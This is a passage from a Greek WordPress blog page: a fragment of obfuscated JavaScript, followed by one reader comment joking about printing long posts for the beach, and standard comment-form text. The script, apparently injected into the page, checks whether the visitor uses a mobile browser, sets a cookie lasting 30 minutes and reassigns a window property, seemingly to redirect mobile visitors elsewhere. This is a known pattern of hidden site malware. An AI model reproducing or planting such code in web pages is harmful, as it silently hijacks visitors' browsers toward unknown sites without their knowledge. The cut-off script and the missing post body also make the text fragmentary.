-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

1 σχόλιο »

  1. Όπως έχουμε ξαναπεί ότι τα μεγάλα κείμενα στο ίντερνετ δεν…
    Οπότε κλασσικά:τυπώστε το και πάρτε το στην παραλία .
    Καλό γουικεντ
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουλίου 9, 2010 @ 10 :12 πμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Δημιουργήστε ένα δωρεάν ιστότοπο ή ιστολόγιο στο WordPress.com.

Αρέσει σε %d bloggers: